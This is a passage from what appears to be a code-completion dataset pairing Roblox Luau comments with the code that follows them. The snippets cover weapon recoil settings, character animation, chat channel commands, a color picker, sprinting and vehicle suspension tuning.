0.2\n\t\t}, \n\t\t[\"Left Arm\"] = {\n\t\t\tPitch = 0, \n\t\t\tYaw = -0.5\n\t\t}, \n\t\t[\"Right Arm\"] = {\n\t\t\tPitch = 0, \n\t\t\tYaw = -0.5\n\t\t}, \n\t\t[\"Left Leg\"] = {\n\t\t\tPitch = 0, \n\t\t\tYaw = -0.2\n\t\t}, \n\t\t[\"Right Leg\"] = {\n\t\t\tPitch = 0, \n\t\t\tYaw = -0.2\n\t\t}\n\t}\n};\n"} +{"prompt": "----------------------------------------------------------------------------------------------------\n-----------------=[ RECOIL & PRECISAO ]=------------------------------------------------------------\n----------------------------------------------------------------------------------------------------", "completion": "\n\t,VRecoil = {14,18}\t\t\t\t--- Vertical Recoil\n\t,HRecoil = {6,9}\t\t\t\t--- Horizontal Recoil\n\t,AimRecover = 1\t\t\t\t\t---- Between 0 & 1\n\t\n\t,RecoilPunch = .35\n\t,VPunchBase = 6\t\t\t\t\t--- Vertical Punch\n\t,HPunchBase = 2\t\t\t\t\t--- Horizontal Punch\n\t,DPunchBase = 1 \t\t\t\t--- Tilt Punch | useless\n\t\n\t,AimRecoilReduction = 1 \t\t--- Recoil Reduction Factor While Aiming (Do not set to 0)\n\t,PunchRecover = 0.2\n\t,MinRecoilPower = 1\n\t,MaxRecoilPower = 3\n\t,RecoilPowerStepAmount = .5\n\t\n\t,MinSpread = 4\t\t\t\t\t--- Min bullet spread value | Studs\n\t,MaxSpread = 40\t\t\t\t\t--- Max bullet spread value | Studs\n\t,AimInaccuracyStepAmount = 2.5\n\t,WalkMultiplier = 0\t\t\t\t--- Bullet spread based on player speed\n\n\t,SwayBase = 0.01\t\t\t\t--- Weapon Base Sway | Studs\n\t,MaxSway =\t1\t\t\t\t\t--- Max sway value based on player stamina | Studs"} +{"prompt": "-- Gyroscopic controller for mobile device (if enabled)", "completion": "\nif UseGyroSteering.Value == true and UserInputService.TouchEnabled == true and UserInputService.GyroscopeEnabled == true then"} +{"prompt": "-- functions", "completion": "\n\nfunction stopAllAnimations()\n\tlocal oldAnim = currentAnim\n\n\t-- return to idle if finishing an emote\n\tif (emoteNames[oldAnim] ~= nil and emoteNames[oldAnim] == false) then\n\t\toldAnim = \"idle\"\n\tend\n\n\tif currentlyPlayingEmote then\n\t\toldAnim = \"idle\"\n\t\tcurrentlyPlayingEmote = false\n\tend\n\n\tcurrentAnim = \"\"\n\tcurrentAnimInstance = nil\n\tif (currentAnimKeyframeHandler ~= nil) then\n\t\tcurrentAnimKeyframeHandler:disconnect()\n\tend\n\n\tif (currentAnimTrack ~= nil) then\n\t\tcurrentAnimTrack:Stop()\n\t\tcurrentAnimTrack:Destroy()\n\t\tcurrentAnimTrack = nil\n\tend\n\n\t-- clean up walk if there is one\n\tif (runAnimKeyframeHandler ~= nil) then\n\t\trunAnimKeyframeHandler:disconnect()\n\tend\n\n\tif (runAnimTrack ~= nil) then\n\t\trunAnimTrack:Stop()\n\t\trunAnimTrack:Destroy()\n\t\trunAnimTrack = nil\n\tend\n\n\treturn oldAnim\nend\n\nfunction getHeightScale()\n\tif Humanoid then\n\t\tif not Humanoid.AutomaticScalingEnabled then\n\t\t\treturn 1\n\t\tend\n\n\t\tlocal scale = Humanoid.HipHeight / HumanoidHipHeight\n\t\tif AnimationSpeedDampeningObject == nil then\n\t\t\tAnimationSpeedDampeningObject = script:FindFirstChild(\"ScaleDampeningPercent\")\n\t\tend\n\t\tif AnimationSpeedDampeningObject ~= nil then\n\t\t\tscale = 1 + (Humanoid.HipHeight - HumanoidHipHeight) * AnimationSpeedDampeningObject.Value / HumanoidHipHeight\n\t\tend\n\t\treturn scale\n\tend\t\n\treturn 1\nend\n\nfunction setRunSpeed(SPEED)\n\tlocal HeightScale = SPEED * 1.25 / getHeightScale()\n\t\n\tif HeightScale ~= currentAnimSpeed then\n\t\tif HeightScale < 0.33 then\n\t\t\tcurrentAnimTrack:AdjustWeight(1)\n\t\t\trunAnimTrack:AdjustWeight(0.0001)\n\t\telseif HeightScale < 0.66 then\n\t\t\tlocal v83 = (HeightScale - 0.33) / 0.33\n\t\t\tcurrentAnimTrack:AdjustWeight(1 - v83 + 0.0001)\n\t\t\trunAnimTrack:AdjustWeight(v83 + 0.0001)\n\t\telse\n\t\t\tcurrentAnimTrack:AdjustWeight(0.0001)\n\t\t\trunAnimTrack:AdjustWeight(1)\n\t\tend\n\t\tcurrentAnimSpeed = HeightScale\n\t\trunAnimTrack:AdjustSpeed(HeightScale)\n\t\tcurrentAnimTrack:AdjustSpeed(HeightScale)\n\tend\nend\n\nfunction setAnimationSpeed(speed)\n\tif currentAnim == \"walk\" then\n\t\tsetRunSpeed(speed)\n\telse\n\t\tif speed ~= currentAnimSpeed then\n\t\t\tcurrentAnimSpeed = speed\n\t\t\tcurrentAnimTrack:AdjustSpeed(currentAnimSpeed)\n\t\tend\n\tend\nend\n\nfunction keyFrameReachedFunc(frameName)\n\tif (frameName == \"End\") then\n\t\tif currentAnim == \"walk\" then\n\t\t\tif userNoUpdateOnLoop == true then\n\t\t\t\tif runAnimTrack.Looped ~= true then\n\t\t\t\t\trunAnimTrack.TimePosition = 0.0\n\t\t\t\tend\n\t\t\t\tif currentAnimTrack.Looped ~= true then\n\t\t\t\t\tcurrentAnimTrack.TimePosition = 0.0\n\t\t\t\tend\n\t\t\telse\n\t\t\t\trunAnimTrack.TimePosition = 0.0\n\t\t\t\tcurrentAnimTrack.TimePosition = 0.0\n\t\t\tend\n\t\telse\n\t\t\tlocal repeatAnim = currentAnim\n\t\t\t-- return to idle if finishing an emote\n\t\t\tif (emoteNames[repeatAnim] ~= nil and emoteNames[repeatAnim] == false) then\n\t\t\t\trepeatAnim = \"idle\"\n\t\t\tend\n\n\t\t\tif currentlyPlayingEmote then\n\t\t\t\tif currentAnimTrack.Looped then\n\t\t\t\t\t-- Allow the emote to loop\n\t\t\t\t\treturn\n\t\t\t\tend\n\n\t\t\t\trepeatAnim = \"idle\"\n\t\t\t\tcurrentlyPlayingEmote = false\n\t\t\tend\n\n\t\t\tlocal animSpeed = currentAnimSpeed\n\t\t\tplayAnimation(repeatAnim, 0.15, Humanoid)\n\t\t\tsetAnimationSpeed(animSpeed)\n\t\tend\n\tend\nend\n\nfunction rollAnimation(animName)\n\tlocal roll = math.random(1, animTable[animName].totalWeight) \n\tlocal origRoll = roll\n\tlocal idx = 1\n\twhile (roll > animTable[animName][idx].weight) do\n\t\troll = roll - animTable[animName][idx].weight\n\t\tidx = idx + 1\n\tend\n\treturn idx\nend\n\nlocal function switchToAnim(anim, animName, transitionTime, humanoid)\n\t-- switch animation\t\t\n\tif (anim ~= currentAnimInstance) then\n\n\t\tif (currentAnimTrack ~= nil) then\n\t\t\tcurrentAnimTrack:Stop(transitionTime)\n\t\t\tcurrentAnimTrack:Destroy()\n\t\tend\n\n\t\tif (runAnimTrack ~= nil) then\n\t\t\trunAnimTrack:Stop(transitionTime)\n\t\t\trunAnimTrack:Destroy()\n\t\t\tif userNoUpdateOnLoop == true then\n\t\t\t\trunAnimTrack = nil\n\t\t\tend\n\t\tend\n\n\t\tcurrentAnimSpeed = 1.0\n\n\t\t-- load it to the humanoid get AnimationTrack\n\t\tcurrentAnimTrack = humanoid:LoadAnimation(anim)\n\t\tcurrentAnimTrack.Priority = Enum.AnimationPriority.Core\n\n\t\t-- play the animation\n\t\tcurrentAnimTrack:Play(transitionTime)\n\t\tcurrentAnim = animName\n\t\tcurrentAnimInstance = anim\n\n\t\t-- set up keyframe name triggers\n\t\tif (currentAnimKeyframeHandler ~= nil) then\n\t\t\tcurrentAnimKeyframeHandler:disconnect()\n\t\tend\n\t\tcurrentAnimKeyframeHandler = currentAnimTrack.KeyframeReached:connect(keyFrameReachedFunc)\n\n\t\t-- check to see if we need to blend a walk/run animation\n\t\tif animName == \"walk\" then\n\t\t\tlocal runAnimName = \"run\"\n\t\t\tlocal runIdx = rollAnimation(runAnimName)\n\n\t\t\trunAnimTrack = humanoid:LoadAnimation(animTable[runAnimName][runIdx].anim)\n\t\t\trunAnimTrack.Priority = Enum.AnimationPriority.Core\n\t\t\trunAnimTrack:Play(transitionTime)\t\t\n\n\t\t\tif (runAnimKeyframeHandler ~= nil) then\n\t\t\t\trunAnimKeyframeHandler:disconnect()\n\t\t\tend\n\t\t\trunAnimKeyframeHandler = runAnimTrack.KeyframeReached:connect(keyFrameReachedFunc)\t\n\t\tend\n\tend\nend\n\nfunction playAnimation(animName, transitionTime, humanoid) \t\n\tlocal idx = rollAnimation(animName)\n\tlocal anim = animTable[animName][idx].anim\n\n\tswitchToAnim(anim, animName, transitionTime, humanoid)\n\tcurrentlyPlayingEmote = false\nend\n\nfunction playEmote(emoteAnim, transitionTime, humanoid)\n\tswitchToAnim(emoteAnim, emoteAnim.Name, transitionTime, humanoid)\n\tcurrentlyPlayingEmote = true\nend\n"} +{"prompt": "-- Map storing Player -> Blocked user Ids.", "completion": "\nlocal BlockedUserIdsMap = {}\n\nPlayersService.PlayerAdded:connect(function(newPlayer)\n\tfor player, blockedUsers in pairs(BlockedUserIdsMap) do\n\t\tlocal speaker = ChatService:GetSpeaker(player.Name)\n\t\tif speaker then\n\t\t\tfor i = 1, #blockedUsers do\n\t\t\t\tlocal blockedUserId = blockedUsers[i]\n\t\t\t\tif blockedUserId == newPlayer.UserId then\n\t\t\t\t\tspeaker:AddMutedSpeaker(newPlayer.Name)\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\nend)\n\nPlayersService.PlayerRemoving:connect(function(removingPlayer)\n\tBlockedUserIdsMap[removingPlayer] = nil\nend)\n\nEventFolder.SetBlockedUserIdsRequest.OnServerEvent:connect(function(player, blockedUserIdsList)\n\tBlockedUserIdsMap[player] = blockedUserIdsList\n\tlocal speaker = ChatService:GetSpeaker(player.Name)\n\tif speaker then\n\t\tfor i = 1, #blockedUserIdsList do\n\t\t\tif type(blockedUserIdsList[i]) == \"number\" then\n\t\t\t\tlocal blockedPlayer = PlayersService:GetPlayerByUserId(blockedUserIdsList[i])\n\t\t\t\tif blockedPlayer then\n\t\t\t\t\tspeaker:AddMutedSpeaker(blockedPlayer.Name)\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\nend)\n\nEventFolder.GetInitDataRequest.OnServerInvoke = (function(playerObj)\n\tlocal speaker = ChatService:GetSpeaker(playerObj.Name)\n\tif not (speaker and speaker:GetPlayer()) then\n\t\tCreatePlayerSpeakerObject(playerObj)\n\t\tspeaker = ChatService:GetSpeaker(playerObj.Name)\n\tend\n\n\tlocal data = {}\n\tdata.Channels = {}\n\tdata.SpeakerExtraData = {}\n\n\tfor _, channelName in pairs(speaker:GetChannelList()) do\n\t\tlocal channelObj = ChatService:GetChannel(channelName)\n\t\tif (channelObj) then\n\t\t\tlocal channelData =\n\t\t\t{\n\t\t\t\tchannelName,\n\t\t\t\tchannelObj:GetWelcomeMessageForSpeaker(speaker),\n\t\t\t\tchannelObj:GetHistoryLogForSpeaker(speaker),\n\t\t\t\tchannelObj.ChannelNameColor,\n\t\t\t}\n\n\t\t\ttable.insert(data.Channels, channelData)\n\t\tend\n\tend\n\n\tfor _, oSpeakerName in pairs(ChatService:GetSpeakerList()) do\n\t\tlocal oSpeaker = ChatService:GetSpeaker(oSpeakerName)\n\t\tdata.SpeakerExtraData[oSpeakerName] = oSpeaker.ExtraData\n\tend\n\n\treturn data\nend)\n\nlocal function DoJoinCommand(speakerName, channelName, fromChannelName)\n\tlocal speaker = ChatService:GetSpeaker(speakerName)\n\tlocal channel = ChatService:GetChannel(channelName)\n\n\tif (speaker) then\n\t\tif (channel) then\n\t\t\tif (channel.Joinable) then\n\t\t\t\tif (not speaker:IsInChannel(channel.Name)) then\n\t\t\t\t\tspeaker:JoinChannel(channel.Name)\n\t\t\t\telse\n\t\t\t\t\tspeaker:SetMainChannel(channel.Name)\n\t\t\t\t\tspeaker:SendSystemMessage(\n\t\t\t\t\t\tstring.gsub(\n\t\t\t\t\t\t\tChatLocalization:Get(\n\t\t\t\t\t\t\t\t\"GameChat_SwitchChannel_NowInChannel\",\n\t\t\t\t\t\t\t\tstring.format(\"You are now chatting in channel: '%s'\", channel.Name)\n\t\t\t\t\t\t\t),\n\t\t\t\t\t\t\"{RBX_NAME}\",channel.Name),\n\t\t\t\t\t\tchannel.Name\n\t\t\t\t\t)\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tspeaker:SendSystemMessage(\n\t\t\t\t\tstring.gsub(\n\t\t\t\t\t\tChatLocalization:Get(\n\t\t\t\t\t\t\t\"GameChat_ChatServiceRunner_YouCannotJoinChannel\",\n\t\t\t\t\t\t\t(\"You cannot join channel '\" .. channelName .. \"'.\")\n\t\t\t\t\t\t),\n\t\t\t\t\t\"{RBX_NAME}\",channelName),\n\t\t\t\t\tfromChannelName\n\t\t\t\t)\n\t\t\tend\n\t\telse\n\t\t\tspeaker:SendSystemMessage(\n\t\t\t\tstring.gsub(\n\t\t\t\t\tChatLocalization:Get(\n\t\t\t\t\t\t\"GameChat_ChatServiceRunner_ChannelDoesNotExist\",\n\t\t\t\t\t\t(\"Channel '\" .. channelName .. \"' does not exist.\")\n\t\t\t\t\t),\n\t\t\t\t\"{RBX_NAME}\",channelName),\n\t\t\t\tfromChannelName\n\t\t\t)\n\t\tend\n\tend\nend\n\nlocal function DoLeaveCommand(speakerName, channelName, fromChannelName)\n\tlocal speaker = ChatService:GetSpeaker(speakerName)\n\tlocal channel = ChatService:GetChannel(channelName)\n\n\tif (speaker) then\n\t\tif (speaker:IsInChannel(channelName)) then\n\t\t\tif (channel.Leavable) then\n\t\t\t\tspeaker:LeaveChannel(channel.Name)\n\t\t\t\tspeaker:SendSystemMessage(\n\t\t\t\t\tstring.gsub(\n\t\t\t\t\t\tChatLocalization:Get(\n\t\t\t\t\t\t\t\"GameChat_ChatService_YouHaveLeftChannel\",\n\t\t\t\t\t\t\tstring.format(\"You have left channel '%s'\", channelName)\n\t\t\t\t\t\t),\n\t\t\t\t\t\"{RBX_NAME}\",channel.Name),\n\t\t\t\t\t\"System\"\n\t\t\t\t)\n\t\t\telse\n\t\t\t\tspeaker:SendSystemMessage(\n\t\t\t\t\tstring.gsub(\n\t\t\t\t\t\tChatLocalization:Get(\n\t\t\t\t\t\t\t\"GameChat_ChatServiceRunner_YouCannotLeaveChannel\",\n\t\t\t\t\t\t\t(\"You cannot leave channel '\" .. channelName .. \"'.\")\n\t\t\t\t\t\t),\n\t\t\t\t\t\"{RBX_NAME}\",channelName),\n\t\t\t\t\tfromChannelName\n\t\t\t\t)\n\t\t\tend\n\t\telse\n\t\t\tspeaker:SendSystemMessage(\n\t\t\t\tstring.gsub(\n\t\t\t\t\tChatLocalization:Get(\n\t\t\t\t\t\t\"GameChat_ChatServiceRunner_YouAreNotInChannel\",\n\t\t\t\t\t\t(\"You are not in channel '\" .. channelName .. \"'.\")\n\t\t\t\t\t),\n\t\t\t\t\"{RBX_NAME}\",channelName),\n\t\t\t\tfromChannelName\n\t\t\t)\n\t\tend\n\tend\nend\n\nChatService:RegisterProcessCommandsFunction(\"default_commands\", function(fromSpeaker, message, channel)\n\tif (string.sub(message, 1, 6):lower() == \"/join \") then\n\t\tDoJoinCommand(fromSpeaker, string.sub(message, 7), channel)\n\t\treturn true\n\telseif (string.sub(message, 1, 3):lower() == \"/j \") then\n\t\tDoJoinCommand(fromSpeaker, string.sub(message, 4), channel)\n\t\treturn true\n\n\telseif (string.sub(message, 1, 7):lower() == \"/leave \") then\n\t\tDoLeaveCommand(fromSpeaker, string.sub(message, 8), channel)\n\t\treturn true\n\telseif (string.sub(message, 1, 3):lower() == \"/l \") then\n\t\tDoLeaveCommand(fromSpeaker, string.sub(message, 4), channel)\n\t\treturn true\n\n\telseif (string.sub(message, 1, 3) == \"/e \" or string.sub(message, 1, 7) == \"/emote \") then\n\t\t-- Just don't show these in the chatlog. The animation script listens on these.\n\t\treturn true\n\n\tend\n\n\treturn false\nend)\n\nif ChatSettings.GeneralChannelName and ChatSettings.GeneralChannelName ~= \"\" then\n\tlocal allChannel = ChatService:AddChannel(ChatSettings.GeneralChannelName)\n\n\tallChannel.Leavable = false\n\tallChannel.AutoJoin = true\n\n\tallChannel:RegisterGetWelcomeMessageFunction(function(speaker)\n\t\tif RunService:IsStudio() then\n\t\t\treturn nil\n\t\tend\n\t\tlocal player = speaker:GetPlayer()\n\t\tif player then\n\t\t\tlocal success, canChat = pcall(function()\n\t\t\t\treturn Chat:CanUserChatAsync(player.UserId)\n\t\t\tend)\n\t\t\tif success and not canChat then\n\t\t\t\treturn \"\"\n\t\t\tend\n\t\tend\n\tend)\nend\n\nlocal systemChannel = ChatService:AddChannel(\"System\")\nsystemChannel.Leavable = false\nsystemChannel.AutoJoin = true\nsystemChannel.WelcomeMessage = ChatLocalization:Get(\n\t\"GameChat_ChatServiceRunner_SystemChannelWelcomeMessage\", \"This channel is for system and game notifications.\"\n)\n\nsystemChannel.SpeakerJoined:connect(function(speakerName)\n\tsystemChannel:MuteSpeaker(speakerName)\nend)\n\n\nlocal function TryRunModule(module)\n\tif module:IsA(\"ModuleScript\") then\n\t\tlocal ret = require(module)\n\t\tif (type(ret) == \"function\") then\n\t\t\tret(ChatService)\n\t\tend\n\tend\nend\n\nlocal modules = Chat:WaitForChild(\"ChatModules\")\nmodules.ChildAdded:connect(function(child)\n\tlocal success, returnval = pcall(TryRunModule, child)\n\tif not success and returnval then\n\t\tprint(\"Error running module \" ..child.Name.. \": \" ..returnval)\n\tend\nend)\n\nfor _, module in pairs(modules:GetChildren()) do\n\tlocal success, returnval = pcall(TryRunModule, module)\n\tif not success and returnval then\n\t\tprint(\"Error running module \" ..module.Name.. \": \" ..returnval)\n\tend\nend\n\nPlayersService.PlayerRemoving:connect(function(playerObj)\n\tif (ChatService:GetSpeaker(playerObj.Name)) then\n\t\tChatService:RemoveSpeaker(playerObj.Name)\n\tend\nend)\n"} +{"prompt": "--\t\tprint(\"Wha \" .. pose)", "completion": "\n\t\tamplitude = 0.1\n\t\tfrequency = 1\n\t\tsetAngles = true\n\tend\n\n\tif (setAngles) then\n\t\tdesiredAngle = amplitude * math.sin(time * frequency)\n\n\t\tRightShoulder:SetDesiredAngle(desiredAngle + climbFudge)\n\t\tLeftShoulder:SetDesiredAngle(desiredAngle - climbFudge)\n\t\tRightHip:SetDesiredAngle(-desiredAngle)\n\t\tLeftHip:SetDesiredAngle(-desiredAngle)\n\tend\n\n\t-- Tool Animation handling\n\tlocal tool = getTool()\n\tif tool then\n\t\n\t\tanimStringValueObject = getToolAnim(tool)\n\n\t\tif animStringValueObject then\n\t\t\ttoolAnim = animStringValueObject.Value\n\t\t\t-- message recieved, delete StringValue\n\t\t\tanimStringValueObject.Parent = nil\n\t\t\ttoolAnimTime = time + .3\n\t\tend\n\n\t\tif time > toolAnimTime then\n\t\t\ttoolAnimTime = 0\n\t\t\ttoolAnim = \"None\"\n\t\tend\n\n\t\tanimateTool()\t\t\n\telse\n\t\tstopToolAnimations()\n\t\ttoolAnim = \"None\"\n\t\ttoolAnimTime = 0\n\tend\nend\n"} +{"prompt": "--[[\n\tFunction called when the client is notified of a player state update.\n]]", "completion": "\nfunction UIController.onClientStateUpdated(currentState)\n\tif currentState == \"pregame\" then\n\t\tUIController.setView(\"pregame\")\n\telseif currentState == \"warmup\" then\n\t\tUIController.setView(\"warmup\")\n\telseif currentState == \"game\" then\n\t\tUIController.setView(\"game\")\n\telseif currentState == \"spectating\" then\n\t\tUIController.setView(\"spectating\")\n\telseif currentState == \"finished\" then\n\t\tUIController.setView(\"finished\")\n\telseif currentState == \"dead\" then\n\t\tUIController.setView(\"dead\")\n\telseif currentState == \"postgame\" then\n\t\tUIController.setView(\"postGame\")\n\tend\nend\n"} +{"prompt": "--set color", "completion": "\nfunction Color:SetColor(color : Color3)\n\tlocal hue,saturation,value = color:ToHSV()\n\tself.Color = color\n\t\n\tlocal wheelSize = self.Instance.Wheel.Image.AbsoluteSize\n\tlocal wheelMidPos = (wheelSize / 2)\n\tlocal maxDist = (wheelSize.X / 2)\n\t\n\tlocal vector = Vector2.new(0.5,0.5)\n\t\n\tlocal hueVector = Vector2.new(-1,0)\n\thueVector = rotateVector(hueVector,hue * -360)\n\thueVector = rotateVector(hueVector,180)\n\t\n\tvector -= hueVector * saturation * 0.5\n\tself.Instance.Wheel.Image.Select.Position = UDim2.fromScale(vector.X,vector.Y)\n\tself.Instance.Right.Value.Select.Position = UDim2.new(0,0,1 - value,0)\n\t\n\tself:UpdateColor()\n\tself:SetValueGradient(hue,saturation)\nend\n\nreturn Color\n"} +{"prompt": "----------------------------------------------------------------------------------------------------\n-------------------=[ PROJETIL ]=-------------------------------------------------------------------\n----------------------------------------------------------------------------------------------------", "completion": "\n\t,Distance = 10000\n\t,BDrop = .25\n\t,BSpeed = 2200\n\n\t,SuppressMaxDistance = 25\t--- Studs\n\t,SuppressTime = 10\t\t\t--- Seconds\n\n\t,BulletWhiz = true\n\t,BWEmitter = 25\n\t,BWMaxDistance = 200\n\t\n\t,BulletFlare = false\n\t,BulletFlareColor = Color3.fromRGB(255,255,255)\n\n\t,Tracer = true\n\t,TracerColor = Color3.fromRGB(255,255,255)\n\t,TracerLightEmission = 1\n\t,TracerLightInfluence = 0\n\t,TracerLifeTime = .2\n\t,TracerWidth = .1\n\t,RandomTracer = false\n\t,TracerEveryXShots = 5\n\t,TracerChance = 100\n\t\n\t,BulletLight = false\n\t,BulletLightBrightness = 1\n\t,BulletLightColor = Color3.fromRGB(255,255,255)\n\t,BulletLightRange = 10\n\n\t,ExplosiveHit = false\n\t,ExPressure = 500\n\t,ExpRadius = 25\n\t,DestroyJointRadiusPercent = 0\t--- Between 0 & 1\n\t,ExplosionDamage = 100\n\n\t,LauncherDamage = 100\n\t,LauncherRadius = 25\n\t,LauncherPressure = 500\n\t,LauncherDestroyJointRadiusPercent = 0"} +{"prompt": "--[[\n\tA manager for a single host virtual node's connected events.\n]]", "completion": "\n\nlocal Logging = require(script.Parent.Logging)\n\nlocal CHANGE_PREFIX = \"Change.\"\n\nlocal EventStatus = {\n\t-- No events are processed at all; they're silently discarded\n\tDisabled = \"Disabled\",\n\n\t-- Events are stored in a queue; listeners are invoked when the manager is resumed\n\tSuspended = \"Suspended\",\n\n\t-- Event listeners are invoked as the events fire\n\tEnabled = \"Enabled\",\n}\n\nlocal SingleEventManager = {}\nSingleEventManager.__index = SingleEventManager\n\nfunction SingleEventManager.new(instance)\n\tlocal self = setmetatable({\n\t\t-- The queue of suspended events\n\t\t_suspendedEventQueue = {},\n\n\t\t-- All the event connections being managed\n\t\t-- Events are indexed by a string key\n\t\t_connections = {},\n\n\t\t-- All the listeners being managed\n\t\t-- These are stored distinctly from the connections\n\t\t-- Connections can have their listeners replaced at runtime\n\t\t_listeners = {},\n\n\t\t-- The suspension status of the manager\n\t\t-- Managers start disabled and are \"resumed\" after the initial render\n\t\t_status = EventStatus.Disabled,\n\n\t\t-- If true, the manager is processing queued events right now.\n\t\t_isResuming = false,\n\n\t\t-- The Roblox instance the manager is managing\n\t\t_instance = instance,\n\t}, SingleEventManager)\n\n\treturn self\nend\n\nfunction SingleEventManager:connectEvent(key, listener)\n\tself:_connect(key, self._instance[key], listener)\nend\n\nfunction SingleEventManager:connectPropertyChange(key, listener)\n\tlocal success, event = pcall(function()\n\t\treturn self._instance:GetPropertyChangedSignal(key)\n\tend)\n\n\tif not success then\n\t\terror((\"Cannot get changed signal on property %q: %s\"):format(\n\t\t\ttostring(key),\n\t\t\tevent\n\t\t), 0)\n\tend\n\n\tself:_connect(CHANGE_PREFIX .. key, event, listener)\nend\n\nfunction SingleEventManager:_connect(eventKey, event, listener)\n\t-- If the listener doesn't exist we can just disconnect the existing connection\n\tif listener == nil then\n\t\tif self._connections[eventKey] ~= nil then\n\t\t\tself._connections[eventKey]:Disconnect()\n\t\t\tself._connections[eventKey] = nil\n\t\tend\n\n\t\tself._listeners[eventKey] = nil\n\telse\n\t\tif self._connections[eventKey] == nil then\n\t\t\tself._connections[eventKey] = event:Connect(function(...)\n\t\t\t\tif self._status == EventStatus.Enabled then\n\t\t\t\t\tself._listeners[eventKey](self._instance, ...)\n\t\t\t\telseif self._status == EventStatus.Suspended then\n\t\t\t\t\t-- Store this event invocation to be fired when resume is\n\t\t\t\t\t-- called.\n\n\t\t\t\t\tlocal argumentCount = select(\"#\", ...)\n\t\t\t\t\ttable.insert(self._suspendedEventQueue, { eventKey, argumentCount, ... })\n\t\t\t\tend\n\t\t\tend)\n\t\tend\n\n\t\tself._listeners[eventKey] = listener\n\tend\nend\n\nfunction SingleEventManager:suspend()\n\tself._status = EventStatus.Suspended\nend\n\nfunction SingleEventManager:resume()\n\t-- If we're already resuming events for this instance, trying to resume\n\t-- again would cause a disaster.\n\tif self._isResuming then\n\t\treturn\n\tend\n\n\tself._isResuming = true\n\n\tlocal index = 1\n\n\t-- More events might be added to the queue when evaluating events, so we\n\t-- need to be careful in order to preserve correct evaluation order.\n\twhile index <= #self._suspendedEventQueue do\n\t\tlocal eventInvocation = self._suspendedEventQueue[index]\n\t\tlocal listener = self._listeners[eventInvocation[1]]\n\t\tlocal argumentCount = eventInvocation[2]\n\n\t\t-- The event might have been disconnected since suspension started; in\n\t\t-- this case, we drop the event.\n\t\tif listener ~= nil then\n\t\t\t-- Wrap the listener in a coroutine to catch errors and handle\n\t\t\t-- yielding correctly.\n\t\t\tlocal listenerCo = coroutine.create(listener)\n\t\t\tlocal success, result = coroutine.resume(\n\t\t\t\tlistenerCo,\n\t\t\t\tself._instance,\n\t\t\t\tunpack(eventInvocation, 3, 2 + argumentCount))\n\n\t\t\t-- If the listener threw an error, we log it as a warning, since\n\t\t\t-- there's no way to write error text in Roblox Lua without killing\n\t\t\t-- our thread!\n\t\t\tif not success then\n\t\t\t\tLogging.warn(\"%s\", result)\n\t\t\tend\n\t\tend\n\n\t\tindex = index + 1\n\tend\n\n\tself._isResuming = false\n\tself._status = EventStatus.Enabled\n\tself._suspendedEventQueue = {}\nend\n\nreturn SingleEventManager\n"} +{"prompt": "-- Objects", "completion": "\nlocal plr = playerService.LocalPlayer\nlocal char = plr.Character or plr.CharacterAdded:wait()\nlocal settingsDir = script.Settings\n\nfunction getSetting (name)\n\treturn settingsDir and settingsDir:FindFirstChild(name) and settingsDir[name].Value\nend\n\nlocal normalSpeed = getSetting(\"Walking speed\") or 18 -- The player's walking speed (Roblox default is 16)\nlocal sprintSpeed = getSetting(\"Running speed\") or 26 -- The player's speed while sprinting\nlocal sprinting = false\n\ninputService.InputBegan:Connect(function (key)\n\tif char.Humanoid.WalkSpeed == 0 then return end\n\tif key.KeyCode == Enum.KeyCode.LeftShift or key.KeyCode == Enum.KeyCode.RightShift then\n\t\trunning = true\n\t\tif char:FindFirstChild(\"Humanoid\") then\t\n\t\t\tchar.Humanoid.WalkSpeed = sprintSpeed\n\t\tend\n\tend\nend)\n\ninputService.InputEnded:Connect(function (key)\n\tif char.Humanoid.WalkSpeed == 0 then return end\n\tif key.KeyCode == Enum.KeyCode.LeftShift or key.KeyCode == Enum.KeyCode.RightShift then\n\t\trunning = false\n\t\tif char:FindFirstChild(\"Humanoid\") then\t\n\t\t\tchar.Humanoid.WalkSpeed = normalSpeed\n\t\tend\n\tend\nend)\n"} +{"prompt": "--[[Susupension]]", "completion": "\n\tTune.SusEnabled\t\t= true\t\t-- works only in with PGSPhysicsSolverEnabled, defaults to false when PGS is disabled\n\t\n\t--Front Suspension\n\tTune.FSusDamping\t= 500\t\t-- Spring Dampening\n\tTune.FSusStiffness\t= 9000\t\t-- Spring Force\n\tTune.FAntiRoll \t\t= 50\t\t-- Anti-Roll (Gyro Dampening)\n\t\n\tTune.FSusLength\t\t= 2\t\t\t-- Suspension length (in studs)\n\tTune.FPreCompress\t= .3\t\t-- Pre-compression adds resting length force\n\tTune.FExtensionLim\t= .3\t\t-- Max Extension Travel (in studs)\n\tTune.FCompressLim\t= .1\t\t-- Max Compression Travel (in studs)\n\tTune.FSusAngle\t\t= 80\t\t-- Suspension Angle (degrees from horizontal)\n\t\t\n\tTune.FWsBoneLen\t\t= 5\t\t\t-- Wishbone Length\n\tTune.FWsBoneAngle\t= 0\t\t\t-- Wishbone angle (degrees from horizontal)\n\tTune.FAnchorOffset\t= {\t\t\t-- Suspension anchor point offset (relative to center of wheel)\n\t --[[Lateral]]\t\t-.4\t\t,\t-- positive = outward\n\t --[[Vertical]]\t\t-.5\t\t,\t-- positive = upward\n\t --[[Forward]]\t\t0\t\t}\t-- positive = forward\n\t\n\t--Rear Suspension\n\tTune.RSusDamping\t= 500\t\t-- Spring Dampening\n\tTune.RSusStiffness\t= 9000\t\t-- Spring Force\n\tTune.FAntiRoll \t\t= 50\t\t-- Anti-Roll (Gyro Dampening)\n\n\tTune.RSusLength\t\t= 2\t\t\t-- Suspension length (in studs)\n\tTune.RPreCompress\t= .3\t\t-- Pre-compression adds resting length force\n\tTune.RExtensionLim\t= .3\t\t-- Max Extension Travel (in studs)\n\tTune.RCompressLim\t= .1\t\t-- Max Compression Travel (in studs)\n\tTune.RSusAngle\t\t= 80\t\t-- Suspension Angle (degrees from horizontal)\n\t\t\n\tTune.RWsBoneLen\t\t= 5\t\t\t-- Wishbone Length\n\tTune.RWsBoneAngle\t= 0\t\t\t-- Wishbone angle (degrees from horizontal)\n\tTune.RAnchorOffset\t= {\t\t\t-- Suspension anchor point offset (relative to center of wheel)\n\t --[[Lateral]]\t\t-.4\t\t,\t-- positive = outward\n\t --[[Vertical]]\t\t-.5\t\t,\t-- positive = upward\n\t --[[Forward]]\t\t0\t\t}\t-- positive = forward\n\n\t--Aesthetics\t\n\tTune.SusVisible\t\t= false\t\t\t-- 